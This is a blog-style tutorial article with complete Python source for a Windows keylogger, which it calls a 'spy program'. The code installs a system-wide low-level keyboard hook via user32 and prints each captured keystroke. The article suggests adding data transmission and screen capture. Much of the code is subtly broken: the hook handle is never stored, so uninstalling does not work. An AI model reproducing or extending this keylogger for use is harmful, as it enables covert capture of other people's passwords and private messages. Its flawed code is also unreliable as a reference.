Information Security 7 min read

Implementing a Windows Keylogger in Python Using Win32 API Hooks

This tutorial explains how to build a Python-based keylogger on Windows by importing win32 API DLLs with ctypes, registering low‑level keyboard hooks, defining hook procedures using WINFUNCTYPE, handling hook events, and properly installing and uninstalling the hook, complete with full source code.

Python Programming Learning Circle
Python Programming Learning Circle
Python Programming Learning Circle
Implementing a Windows Keylogger in Python Using Win32 API Hooks

This article demonstrates how to create a Windows keylogger (spy program) in Python, covering four main areas: Win32 API, basic Python usage with the ctypes library, basic C concepts, and Hook techniques.

A Hook (hook function) intercepts system calls before the original function executes, allowing the hook to modify behavior or abort the call.

To register a Hook, the required DLLs are imported using ctypes:

<code>user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")
</code>

user32.dll provides Windows UI functions, while kernel32.dll handles memory management, I/O, and interrupt processing.

The first step is to register the Hook with SetWindowsHookExA from user32.dll :

<code>HHOOK SetWindowsHookExA( int idHook,
  HOOKPROC  lpfn,
  HINSTANCE hmod,
  DWORD     dwThreadId
);
</code>

The idHook parameter is set to WH_KEYBOARD_LL (value 13) to monitor low‑level keyboard events. The hook procedure pointer ( lpfn ) is supplied, the module handle is obtained via kernel32.GetModuleHandleW() , and dwThreadId is set to 0 to apply to all threads on the desktop.

When defining the hook procedure in Python, WINFUNCTYPE (stdcall calling convention) is used instead of CFUNCTYPE (C calling convention):

<code>HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
</code>

The low‑level keyboard callback signature is:

<code>LRESULT CALLBACK LowLevelKeyboardProc(
  _In_ int nCode,
  _In_ WPARAM wParam,
  _In_ LPARAM lParam
);
</code>

If nCode is less than zero, the hook must pass the message to CallNextHookEx without further processing.

The full Python implementation, including the KBDLLHOOKSTRUCT structure, hook installation, message loop, and clean‑up with UnhookWindowsHookEx , is provided below:

<code>import sys
from ctypes import *
from ctypes.wintypes import DWORD, HHOOK, HINSTANCE, MSG, WPARAM, LPARAM

user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")

class KBDLLHOOKSTRUCT(Structure):
    _fields_ = [
        ('vkCode', DWORD),
        ('scanCode', DWORD),
        ('flags', DWORD),
        ('time', DWORD),
        ('dwExtraInfo', DWORD)
    ]

def uninstallHookProc(hooked):
    if hooked is None:
        return
    user32.UnhookWindowsHookEx(hooked)
    hooked = None

def hookProc(nCode, wParam, lParam):
    if nCode < 0:
        return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
    else:
        if wParam == 256:
            if 162 == lParam.contents.value:
                print("Ctrl pressed, call Hook uninstall()")
                uninstallHookProc(hooked)
                sys.exit(-1)
            capsLock = user32.GetKeyState(20)
            # kb_struct = cast(lParam, POINTER(KBDLLHOOKSTRUCT))
            if lParam.contents.value == 13:
                print("\n")
            elif capsLock:
                print(chr(lParam.contents.value), end="")
            else:
                print(chr(lParam.contents.value+32), end="")
    return user32.CallNextHookEx(hooked, nCode, wParam, lParam)

def startKeyLog():
    msg = MSG()
    user32.GetMessageA(byref(msg), 0, 0, 0)

def installHookProc(hooked, pointer):
    hooked = user32.SetWindowsHookExA(
        13,
        pointer,
        kernel32.GetModuleHandleW(),
        0
    )
    if not hooked:
        return False
    return True

HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
pointer = HOOKPROC(hookProc)
hooked = None
if installHookProc(hooked, pointer):
    print("Hook installed")
    try:
        msg = MSG()
        user32.GetMessageA(byref(msg), 0, 0, 0)
    except KeyboardInterrupt as kerror:
        uninstallHookProc(hooked)
        print("Hook uninstall...")
else:
    print("Hook installed error")
</code>

Running the program logs captured keystrokes and demonstrates how to uninstall the hook to avoid leaving dangling hooks in the system.

The article also shows a screenshot of the keylogger in action and mentions that additional features such as data transmission or screen capture can be added.

PythonHooksinformation securityKeyloggerctypeswin32api
Python Programming Learning Circle
Written by

Python Programming Learning Circle

A global community of Chinese Python developers offering technical articles, columns, original video tutorials, and problem sets. Topics include web full‑stack development, web scraping, data analysis, natural language processing, image processing, machine learning, automated testing, DevOps automation, and big data.

0 followers
Reader feedback

How this landed with the community

login Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.